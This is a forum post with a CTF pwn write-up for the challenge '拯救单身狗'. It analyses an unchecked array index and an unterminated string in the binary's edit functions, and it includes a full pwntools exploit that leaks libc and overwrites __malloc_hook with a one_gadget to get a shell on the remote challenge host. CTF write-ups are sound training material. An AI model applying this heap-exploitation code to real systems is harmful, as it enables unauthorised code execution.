首页
社区
课程
招聘
[原创]CTF2019_Q1_拯救单身狗
2019-3-10 15:12 2207

[原创]CTF2019_Q1_拯救单身狗

2019-3-10 15:12
2207
一血,happy

Analyze

比较显然的两个点:

1

两个edit函数只判断指针是否存在,没有判断输入的int范围:
(为了符合理解,我把one和two rename交换了一下)
unsigned __int64 edit_singledog()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which?");
  v1 = read_int();
  if ( one[v1] )                                // 数组溢出
  {
    puts("Oh,singledog,changing your name can bring you good luck.");
    read(0, (void *)one[v1], 0x20uLL);
    printf("new name: %s", one[v1]);
  }
  else
  {
    puts("nothing here");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_luckydog()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which?");
  v1 = read_int();
  if ( two[v1] )
  {
    puts("Oh,luckydog,What is your new name?");
    read(0, (void *)(two[v1] + 8LL), 0x18uLL);
    puts("your partner's new name");
    read(0, *(void **)two[v1], 0x20uLL);
  }
  else
  {
    puts("nothing here");
  }
  return __readfsqword(0x28u) ^ v2;
}

2

edit_singledog()不存在\x00截断,导致很容易leak
   puts("Oh,singledog,changing your name can bring you good luck.");
    read(0, (void *)one[v1], 0x20uLL);
    printf("new name: %s", one[v1]);

注意到标准错误stderr在两个数组上方,可以通过leak IO_FILE的 _IO_read_ptr来leak libc
因为two的结构体:struct{str *partner name;  str own name;}
而后只需要在one中构造一个singledog的name为p64(malloc_hook_addr)
在 edit_luckydog() 时就可以利用数组溢出,在edit partner name时即会改写malloc_hook
将其改为one_gadget_addr,在再次create一次便可get shell
还有一点,这里libc版本未知,我是通过首先远程leak出一个 _IO_read_ptr ,而后改变本地libc版本,找到相同末位偏移的libc版本(2.27)

EXP

from pwn import *


context.log_level="debug"

def create1(name):
    p.sendlineafter(">>\n","1")
    p.sendafter("Name:\n",name)

def create2(name1,name2):
    p.sendlineafter(">>\n","2")
    p.sendafter("Name\n",name1)
    p.sendafter("name\n",name2)

def edit1(index,name):
    p.sendlineafter(">>\n","3")
    p.sendlineafter("?\n",str(index))
    p.sendafter("luck.\n",name)

def edit2(index,name1,name2):
    p.sendlineafter(">>\n","4")
    p.sendlineafter("?\n",str(index))
    p.sendafter("?\n",name1)
    p.sendafter("name\n",name2)

def fake():
    p.sendlineafter(">>\n","5")

#p=process("./apwn")
p=remote("211.159.175.39",8686)
create1("kirin")
create1("kirin")
create2("kirin","kirin")
create2("kirin","kirin")
fake()
fake()
create1("1")
edit1(0,"1")
p.recvuntil("new name: ")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x31
print hex(heap_addr)
edit1(-4,"11111111")
p.recvuntil("11111111")
libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec703
one_gadget=libc_addr+0x10a38c
malloc_hook=libc_addr+0x3ebc30
create1(p64(malloc_hook))
print hex(libc_addr)
edit2(-79,"kirin",p64(one_gadget))
#gdb.attach(p)
p.sendlineafter(">>\n","1")
p.interactive()


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-3-16 20:25 被梅零落编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回